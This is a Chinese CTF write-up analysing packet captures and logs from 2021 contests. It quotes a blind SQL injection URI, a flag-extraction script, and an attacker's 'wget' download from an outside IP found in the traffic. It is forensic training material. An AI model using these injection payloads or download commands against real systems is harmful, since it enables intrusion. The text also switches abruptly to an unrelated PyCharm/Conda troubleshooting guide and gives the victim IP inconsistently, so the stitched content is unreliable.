流量日志分析--实操

[鹤城杯 2021]流量分析

 

<--第一道流量分析不难,主要就是布尔盲注的流量包分析,直接查看http请求包即可我们可以通过观察看到注入成功的响应长度不同,这里成功的为978字节,失败的994字节.不要问为什么.其实也可以直接判断.978的流量比994的少了非常多 显然就是成功的(因为这里是获取ASCII码.所以判断成功的流量肯定更少)
所以我们只需要提取出这一部分成功的流量出来进行分析即可-->

 

<--使用过滤语法  frame.len == 978 过滤长度为978的包 然后导出为文本一定要先过滤再导出 不然就会把全部的导出-->

 

 运行脚本:

import re

#Request URI: http://192.168.246.1/ctf/Less-5/?id=1'%20and%20ascii(substr((select%20flag%20#from%20t),1,1))=102--+
nums = []
obj1 = re.compile(r"1\)\)=(?P<num1>.*)\b",re.S)#开启贪婪模式匹配这里一定要使用.*贪婪模式 如果用.*?可能匹配失败 \b代表结尾
def getAscii():
    with open("re.txt", "r", encoding="utf-8") as f:
        for line in f.readlines():
            line = line.strip()
            result = obj1.finditer(line)
            for it in result:
                num = it.group("num1")
                nums.append(num)


def getflag():
    flag = ""
    for i in nums:
        i = chr(int(i))
        flag = flag + i
        print(flag)

if __name__ == '__main__':
    getAscii()
    getflag()

 [陇剑杯 2021]流量分析(问1)

[陇剑杯 2021]流量分析(问2)

[陇剑杯 2021]流量分析(问3)

 

 

 

操作内容:
分析pcap流量包,主机ip应该是172.18.0.1,可以看到很多UDP协议的包。在看包内容的时候,注意到UDP包头都是P05=,而且有的是有base64,也有乱码的包。P05=后面都是00 00 00 00和01 00 00 00,其中00的长度是32、01的长度是16,可能是认证。

根据长度为16猜测可能是aes,用长度16的base64(即P05=后面是01 00 00 00的)作为aes key解密发现解密成功了,02 00 00 00对应的包里面都有一个可见字符,其中受害IP172.18.0.125有命令:wget http://147.182.251.98/d.sh;所以第一问为127.18.0.125,第二问密钥就是18217号包里的DtX0GScM9dwrgZht,第三问ip即为147.182.251.98(udp.stream eq 85)

 

 

[陇剑杯 2021]日志分析(问1)

[陇剑杯 2021]日志分析(问2)

[陇剑杯 2021]日志分析(问3)

     这里我们直接搜索返回状态为200的流量,发现www.zip

 直接查找tmp即可看到。

 

同样的,在目录穿越反序列化的时候,已经显示出来了。

 

### 解决PyCharm无法加载Conda虚拟环境的方法 #### 配置设置 为了使 PyCharm 能够成功识别并使用 Conda 创建的虚拟环境,需确保 Anaconda 的路径已正确添加至系统的环境变量中[^1]。这一步骤至关重要,因为只有当 Python 解释器及其关联工具被加入 PATH 后,IDE 才能顺利找到它们。 对于 Windows 用户而言,在安装 Anaconda 时,默认情况下会询问是否将它添加到系统路径里;如果当时选择了否,则现在应该手动完成此操作。具体做法是在“高级系统设置”的“环境变量”选项内编辑 `Path` 变量,追加 Anaconda 安装目录下的 Scripts 文件夹位置。 另外,建议每次新建项目前都通过命令行先激活目标 conda env: ```bash conda activate myenvname ``` 接着再启动 IDE 进入工作区,这样有助于减少兼容性方面的问题发生概率。 #### 常见错误及修复方法 ##### 错误一:未发现任何解释器 症状表现为打开 PyCharm 新建工程向导页面找不到由 Conda 构建出来的 interpreter 列表项。此时应前往 Preferences/Settings -> Project:...->Python Interpreter 下方点击齿轮图标选择 Add...按钮来指定自定义的位置。按照提示浏览定位到对应版本 python.exe 的绝对地址即可解决问题。 ##### 错误二:权限不足导致 DLL 加载失败 有时即使指定了正确的解释器路径,仍可能遇到由于缺乏适当的操作系统级许可而引发的功能缺失现象。特别是涉及到调用某些特定类型的动态链接库 (Dynamic Link Library, .dll) 时尤为明显。因此拥有管理员身份执行相关动作显得尤为重要——无论是从终端还是图形界面触发创建新 venv 流程均如此处理能够有效规避此类隐患。 ##### 错误三:网络连接异常引起依赖下载超时 部分开发者反馈过因网速慢或者其他因素造成 pip install 操作中途断开进而影响整个项目的初始化进度条卡住的情况。对此可尝试调整镜像源加速获取速度或是离线模式预先准备好所需资源包后再继续后续步骤。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值